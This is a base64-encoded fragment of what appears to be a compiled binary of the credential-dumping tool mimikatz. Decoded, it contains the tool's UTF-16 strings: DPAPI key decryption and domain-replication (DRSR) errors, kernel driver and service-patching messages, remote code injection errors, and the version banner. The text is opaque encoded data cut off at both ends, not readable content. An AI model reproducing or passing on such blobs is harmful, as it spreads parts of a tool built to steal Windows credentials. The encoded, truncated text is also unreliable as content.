G8AdABlAGMAdABfAGQAbwBtAGEAaQBuAGsAZQB5AF8AdwBpAHQAaABfAGsAZQB5ACAAOwAgAEMAcgB5AHAAdABEAGUAYwByAHkAcAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBkAG8AbQBhAGkAbgBrAGUAeQBfAHcAaQB0AGgAXwBrAGUAeQAgADsAIABDAHIAeQBwAHQAUwBlAHQASwBlAHkAUABhAHIAYQBtACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AZABvAG0AYQBpAG4AawBlAHkAXwB3AGkAdABoAF8AawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGMAbABvAHMAZQBfAGgAcAByAG8AdgBfAGQAZQBsAGUAdABlAF8AYwBvAG4AdABhAGkAbgBlAHIAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAGMAcgBlAGQAaABpAHMAdABfAGUAbgB0AHIAeQBfAHcAaQB0AGgAXwBzAGgAYQBEAGUAcgBpAHYAZQBkAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBjAGwAbwBzAGUAXwBoAHAAcgBvAHYAXwBkAGUAbABlAHQAZQBfAGMAbwBuAHQAYQBpAG4AZQByACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAGMAcgBlAGQAaABpAHMAdABfAGUAbgB0AHIAeQBfAHcAaQB0AGgAXwBzAGgAYQBEAGUAcgBpAHYAZQBkAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBoAGsAZQB5AF8AcwBlAHMAcwBpAG8AbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAG8AbgBfAHUAbgBwAHIAbwB0AGUAYwB0AAAAAAAAAAAAbwBuAF8AcAByAG8AdABlAGMAdAAAAAAAcgBlAHMAZQByAHYAZQBkAAAAAAAAAAAAcwB0AHIAbwBuAGcAAAAAAHIAZQBxAHUAaQByAGUAXwBzAHQAcgBvAG4AZwAAAAAAJQBzACAAOwAgAAAAAAAAAHUAaQBfAGYAbwByAGIAaQBkAGQAZQBuAAAAAAAAAAAAdQBuAGsAbgBvAHcAbgAAAGwAbwBjAGEAbABfAG0AYQBjAGgAaQBuAGUAAAAAAAAAYwByAGUAZABfAHMAeQBuAGMAAAAAAAAAYQB1AGQAaQB0AAAAAAAAAG4AbwBfAHIAZQBjAG8AdgBlAHIAeQAAAHYAZQByAGkAZgB5AF8AcAByAG8AdABlAGMAdABpAG8AbgAAAAAAAABjAHIAZQBkAF8AcgBlAGcAZQBuAGUAcgBhAHQAZQAAAHN5c3RlbQAACgA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0ACgBCAGEAcwBlADYANAAgAG8AZgAgAGYAaQBsAGUAIAA6ACAAJQBzAAoAPQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AAoAAAAlAGMAAAAAAD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBrAGUAcgBuAGUAbABfAGkAbwBjAHQAbABfAGgAYQBuAGQAbABlACAAOwAgAEQAZQB2AGkAYwBlAEkAbwBDAG8AbgB0AHIAbwBsACAAKAAwAHgAJQAwADgAeAApACAAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBrAGUAcgBuAGUAbABfAGkAbwBjAHQAbAAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABcAFwALgBcAG0AaQBtAGkAZAByAHYAAAAlACoAcwAqACoASwBFAFkAIAAoAGMAYQBwAGkAKQAqACoACgAAAAAAAAAAAAAAAAAlACoAcwAgACAAZAB3AFUAbgBpAHEAdQBlAE4AYQBtAGUATABlAG4AIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcAUAB1AGIAbABpAGMASwBlAHkATABlAG4AIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBQAHIAaQB2AGEAdABlAEsAZQB5AEwAZQBuACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AEgAYQBzAGgATABlAG4AIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcARQB4AHAAbwByAHQARgBsAGEAZwBMAGUAbgAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAHAAVQBuAGkAcQB1AGUATgBhAG0AZQAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAlAFMACgAAACUAKgBzACAAIABwAEgAYQBzAGgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAJQAqAHMAIAAgAHAAUAB1AGIAbABpAGMASwBlAHkAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAlACoAcwAgACAAcABQAHIAaQB2AGEAdABlAEsAZQB5ACAAIAAgACAAIAAgACAAIAA6AAoAAAAAACUAKgBzACAAIABwAEUAeABwAG8AcgB0AEYAbABhAGcAIAAgACAAIAAgACAAIAAgADoACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBrAGUAeQBfAGMAbgBnAF8AYwByAGUAYQB0AGUAIAA7ACAAawB1AGwAbABfAG0AXwBrAGUAeQBfAGMAbgBnAF8AcAByAG8AcABlAHIAdABpAGUAcwBfAGMAcgBlAGEAdABlACAAKABwAHUAYgBsAGkAYwApAAoAAAAAAAAAAAAlACoAcwAqACoASwBFAFkAIAAoAGMAbgBnACkAKgAqAAoAAAAAAAAAJQAqAHMAIAAgAGQAdwBWAGUAcgBzAGkAbwBuACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAdQBuAGsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABkAHcATgBhAG0AZQBMAGUAbgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAHQAeQBwAGUAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAZAB3AFAAdQBiAGwAaQBjAFAAcgBvAHAAZQByAHQAaQBlAHMATABlAG4AIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABkAHcAUAByAGkAdgBhAHQAZQBQAHIAbwBwAGUAcgB0AGkAZQBzAEwAZQBuADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAGQAdwBQAHIAaQB2AGEAdABlAEsAZQB5AEwAZQBuACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAdQBuAGsAQQByAHIAYQB5AFsAMQA2AF0AIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAJQAqAHMAIAAgAHAATgBhAG0AZQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAACUALgAqAHMACgAAAAAAAAAlACoAcwAgACAAcABQAHUAYgBsAGkAYwBQAHIAbwBwAGUAcgB0AGkAZQBzACAAIAAgACAAIAA6ACAAAAAAAAAAJQAqAHMAIAAgAHAAUAByAGkAdgBhAHQAZQBQAHIAbwBwAGUAcgB0AGkAZQBzACAAIAAgACAAOgAKAAAAAAAAACUAKgBzACAAIABwAFAAcgBpAHYAYQB0AGUASwBlAHkAIAAgACAAIAAgACAAIAAgACAAIAAgADoACgAAAAAAAAAlACoAcwAqACoASwBFAFkAIABDAE4ARwAgAFAAUgBPAFAARQBSAFQAWQAqACoACgAAAAAAAAAAAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBTAHQAcgB1AGMAdABMAGUAbgAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAAAAAAAAAlACoAcwAgACAAdAB5AHAAZQAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAAAAAAAAAACUAKgBzACAAIAB1AG4AawAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBOAGEAbQBlAEwAZQBuACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAAAAAAAAAlACoAcwAgACAAZAB3AFAAcgBvAHAAZQByAHQAeQBMAGUAbgAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAlACoAcwAgACAAcABOAGEAbQBlACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAlACoAcwAgACAAcABQAHIAbwBwAGUAcgB0AHkAIAAgACAAIAAgACAAIAA6ACAAAAAlAHUAIABmAGkAZQBsAGQAKABzACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBuAGUAdABfAGcAZQB0AEQAQwAgADsAIABEAHMARwBlAHQARABjAE4AYQBtAGUAOgAgACUAdQAKAAAAYQAAACIAJQBzACIAIABzAGUAcgB2AGkAYwBlACAAcABhAHQAYwBoAGUAZAAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoAF8AZwBlAG4AZQByAGkAYwBQAHIAbwBjAGUAcwBzAE8AcgBTAGUAcgB2AGkAYwBlAEYAcgBvAG0AQgB1AGkAbABkACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoAF8AZwBlAG4AZQByAGkAYwBQAHIAbwBjAGUAcwBzAE8AcgBTAGUAcgB2AGkAYwBlAEYAcgBvAG0AQgB1AGkAbABkACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaABfAGcAZQBuAGUAcgBpAGMAUAByAG8AYwBlAHMAcwBPAHIAUwBlAHIAdgBpAGMAZQBGAHIAbwBtAEIAdQBpAGwAZAAgADsAIABTAGUAcgB2AGkAYwBlACAAaQBzACAAbgBvAHQAIAByAHUAbgBuAGkAbgBnAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AZwBlAHQAVQBuAGkAcQB1AGUARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAASQBuAGMAbwByAHIAZQBjAHQAIAB2AGUAcgBzAGkAbwBuACAAaQBuACAAcgBlAGYAZQByAGUAbgBjAGUAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AYwByAGUAYQB0AGUAIAA7ACAAUgB0AGwAQwByAGUAYQB0AGUAVQBzAGUAcgBUAGgAcgBlAGEAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBjAHIAZQBhAHQAZQAgADsAIABDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBUAGgAcgBlAGEAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAVABoACAAQAAgACUAcAAKAEQAYQAgAEAAIAAlAHAACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAGMAcgBlAGEAdABlACAAOwAgAGsAdQBsAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBpAG8AYwB0AGwAXwBoAGEAbgBkAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAEMAcgBlAGEAdABlAFIAZQBtAG8AdABlAEMAbwBkAGUAVwBpAHQAdABoAFAAYQB0AHQAZQByAG4AUgBlAHAAbABhAGMAZQAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYwBvAHAAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAEMAcgBlAGEAdABlAFIAZQBtAG8AdABlAEMAbwBkAGUAVwBpAHQAdABoAFAAYQB0AHQAZQByAG4AUgBlAHAAbABhAGMAZQAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYQBsAGwAbwBjACAALwAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgARQB4ACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlACAAOwAgAE4AbwAgAGIAdQBmAGYAZQByACAAPwAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBSAHAAYwBTAGUAYwB1AHIAaQB0AHkAQwBhAGwAbABiAGEAYwBrACAAOwAgAFEAdQBlAHIAeQBDAG8AbgB0AGUAeAB0AEEAdAB0AHIAaQBiAHUAdABlAHMAIAAlADAAOAB4AAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUgBwAGMAUwBlAGMAdQByAGkAdAB5AEMAYQBsAGwAYgBhAGMAawAgADsAIABJAF8AUgBwAGMAQgBpAG4AZABpAG4AZwBJAG4AcQBTAGUAYwB1AHIAaQB0AHkAQwBvAG4AdABlAHgAdAAgACUAMAA4AHgACgAAAAAAAAAAAG4AYwBhAGMAbgBfAGkAcABfAHQAYwBwAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGMAcgBlAGEAdABlAEIAaQBuAGQAaQBuAGcAIAA7ACAAUgBwAGMAQgBpAG4AZABpAG4AZwBTAGUAdABPAHAAdABpAG8AbgA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGMAcgBlAGEAdABlAEIAaQBuAGQAaQBuAGcAIAA7ACAAUgBwAGMAQgBpAG4AZABpAG4AZwBTAGUAdABBAHUAdABoAEkAbgBmAG8ARQB4ADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBjAHIAZQBhAHQAZQBCAGkAbgBkAGkAbgBnACAAOwAgAE4AbwAgAEIAaQBuAGQAaQBuAGcAIQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AYwByAGUAYQB0AGUAQgBpAG4AZABpAG4AZwAgADsAIABSAHAAYwBCAGkAbgBkAGkAbgBnAEYAcgBvAG0AUwB0AHIAaQBuAGcAQgBpAG4AZABpAG4AZwA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGMAcgBlAGEAdABlAEIAaQBuAGQAaQBuAGcAIAA7ACAAUgBwAGMAUwB0AHIAaQBuAGcAQgBpAG4AZABpAG4AZwBDAG8AbQBwAG8AcwBlADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAG8AbQBhAGkAbgBBAG4AZABVAHMAZQByAEkAbgBmAG8AcwAgADsAIABEAG8AbQBhAGkAbgBDAG8AbgB0AHIAbwBsAGwAZQByAEkAbgBmAG8AOgAgAEQAQwAgACcAJQBzACcAIABuAG8AdAAgAGYAbwB1AG4AZAAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAbwBtAGEAaQBuAEEAbgBkAFUAcwBlAHIASQBuAGYAbwBzACAAOwAgAEQAbwBtAGEAaQBuAEMAbwBuAHQAcgBvAGwAbABlAHIASQBuAGYAbwA6ACAAYgBhAGQAIAB2AGUAcgBzAGkAbwBuACAAKAAlAHUAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABvAG0AYQBpAG4AQQBuAGQAVQBzAGUAcgBJAG4AZgBvAHMAIAA7ACAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABsAGUAcgBJAG4AZgBvADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAG8AbQBhAGkAbgBBAG4AZABVAHMAZQByAEkAbgBmAG8AcwAgADsAIABSAFAAQwAgAEUAeABjAGUAcAB0AGkAbwBuACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABDAEIAaQBuAGQAIAA7ACAASQBuAGMAbwByAHIAZQBjAHQAIABEAFIAUwAgAEUAeAB0AGUAbgBzAGkAbwBuAHMAIABPAHUAdABwAHUAdAAgACgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAQwBCAGkAbgBkACAAOwAgAE4AbwAgAEQAUgBTACAARQB4AHQAZQBuAHMAaQBvAG4AcwAgAE8AdQB0AHAAdQB0AAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABDAEIAaQBuAGQAIAA7ACAASQBEAEwAXwBEAFIAUwBCAGkAbgBkADoAIAAlAHUACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAQwBCAGkAbgBkACAAOwAgAFIAUABDACAARQB4AGMAZQBwAHQAaQBvAG4AIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAE4ATwBfAEUAUgBSAE8AUgAAAAAAAAAAAEUAUgBSAE8AUgBfAFIARQBTAE8ATABWAEkATgBHAAAARQBSAFIATwBSAF8ATgBPAFQAXwBGAE8AVQBOAEQAAABFAFIAUgBPAFIAXwBOAE8AVABfAFUATgBJAFEAVQBFAAAAAAAAAAAARQBSAFIATwBSAF8ATgBPAF8ATQBBAFAAUABJAE4ARwAAAAAAAAAAAEUAUgBSAE8AUgBfAEQATwBNAEEASQBOAF8ATwBOAEwAWQAAAAAAAABFAFIAUgBPAFIAXwBOAE8AXwBTAFkATgBUAEEAQwBUAEkAQwBBAEwAXwBNAEEAUABQAEkATgBHAAAAAAAAAAAARQBSAFIATwBSAF8AVABSAFUAUwBUAF8AUgBFAEYARQBSAFIAQQBMAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBDAHIAYQBjAGsATgBhAG0AZQAgADsAIABDAHIAYQBjAGsATgBhAG0AZQBzACAAKABuAGEAbQBlACAAcwB0AGEAdAB1AHMAKQA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApACAALQAgACUAcwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AQwByAGEAYwBrAE4AYQBtAGUAIAA7ACAAQwByAGEAYwBrAE4AYQBtAGUAcwA6ACAAbgBvACAAaQB0AGUAbQAhAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAEMAcgBhAGMAawBOAGEAbQBlACAAOwAgAEMAcgBhAGMAawBOAGEAbQBlAHMAOgAgAGIAYQBkACAAdgBlAHIAcwBpAG8AbgAgACgAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AQwByAGEAYwBrAE4AYQBtAGUAIAA7ACAAQwByAGEAYwBrAE4AYQBtAGUAcwA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBDAHIAYQBjAGsATgBhAG0AZQAgADsAIABSAFAAQwAgAEUAeABjAGUAcAB0AGkAbwBuACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFAAcgBvAGMAZQBzAHMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AF8AZABlAGMAcgB5AHAAdAAgADsAIABDAGgAZQBjAGsAcwB1AG0AcwAgAGQAbwBuACcAdAAgAG0AYQB0AGMAaAAgACgAQwA6ADAAeAAlADAAOAB4ACAALQAgAFIAOgAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBQAHIAbwBjAGUAcwBzAEcAZQB0AE4AQwBDAGgAYQBuAGcAZQBzAFIAZQBwAGwAeQBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAUgB0AGwARQBuAGMAcgB5AHAAdABEAGUAYwByAHkAcAB0AFIAQwA0AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUAByAG8AYwBlAHMAcwBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwBSAGUAcABsAHkAXwBkAGUAYwByAHkAcAB0ACAAOwAgAE4AbwAgAHYAYQBsAGkAZAAgAGQAYQB0AGEACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUAByAG8AYwBlAHMAcwBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwBSAGUAcABsAHkAXwBkAGUAYwByAHkAcAB0ACAAOwAgAE4AbwAgAFMAZQBzAHMAaQBvAG4AIABLAGUAeQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGYAcgBlAGUAXwBEAFIAUwBfAE0AUwBHAF8AQwBSAEEAQwBLAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAbgBhAG0AZQBDAHIAYQBjAGsATwB1AHQAVgBlAHIAcwBpAG8AbgAgAG4AbwB0ACAAdgBhAGwAaQBkACAAKAAwAHgAJQAwADgAeAAgAC0AIAAlAHUAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBmAHIAZQBlAF8ARABSAFMAXwBNAFMARwBfAEQAQwBJAE4ARgBPAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAVABPAEQATwAgACgAbQBhAHkAYgBlAD8AKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBmAHIAZQBlAF8ARABSAFMAXwBNAFMARwBfAEQAQwBJAE4ARgBPAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAZABjAE8AdQB0AFYAZQByAHMAaQBvAG4AIABuAG8AdAAgAHYAYQBsAGkAZAAgACgAMAB4ACUAMAA4AHgAIAAtACAAJQB1ACkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBmAHIAZQBlAF8ARABSAFMAXwBNAFMARwBfAEcARQBUAEMASABHAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAVABPAEQATwAgACgAbQBhAHkAYgBlAD8AKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBmAHIAZQBlAF8ARABSAFMAXwBNAFMARwBfAEcARQBUAEMASABHAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAZAB3AE8AdQB0AFYAZQByAHMAaQBvAG4AIABuAG8AdAAgAHYAYQBsAGkAZAAgACgAMAB4ACUAMAA4AHgAIAAtACAAJQB1ACkACgAAAFMAZQByAHYAaQBjAGUAcwBBAGMAdABpAHYAZQAAAAAAJQAwADIAeAAAAAAAAAAAACUAMAAyAHgAIAAAAAAAAAAwAHgAJQAwADIAeAAsACAAAAAAAAAAAABcAHgAJQAwADIAeAAAAAAACgBCAFkAVABFACAAZABhAHQAYQBbAF0AIAA9ACAAewAKAAkAAAAAAAkAAAAAAAAACgB9ADsACgAAAAAAAAAAACUAcwAgAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHMAdAByAGkAbgBnAF8AZABpAHMAcABsAGEAeQBTAEkARAAgADsAIABDAG8AbgB2AGUAcgB0AFMAaQBkAFQAbwBTAHQAcgBpAG4AZwBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAVABvAGsAZQBuAAAAAAAAAAAAAAAAAAAACgAgACAALgAjACMAIwAjACMALgAgACAAIABtAGkAbQBpAGsAYQB0AHoAIAAyAC4AMAAgAGEAbABwAGgAYQAgACgAeAA2ADQAKQAgAHIAZQBsAGUAYQBzAGUAIAAiAEsAaQB3AGkAIABlAG4AIABDACIAIAAoAEQAZQBjACAAMQA0ACAAMgAwADEANQAgADEAOQA6ADEANgA6ADMANAApAAoAIAAuACMAIwAgAF4AIAAjACMALgAgACAACgAgACMAIwAgAC8AIABcACAAIwAjACAAIAAvACoAIAAqACAAKgAKACAAIwAjACAAXAAgAC8AIAAjACMAIAAgACAAQgBlAG4AagBhAG0AaQBuACAARABFAEwAUABZACAAYABnAGUAbgB0AGkAbABrAGkAdwBpAGAAIAAoACAAYgBlAG4AagBhAG0AaQBuAEAAZwBlAG4AdABpAGwAawBpAHc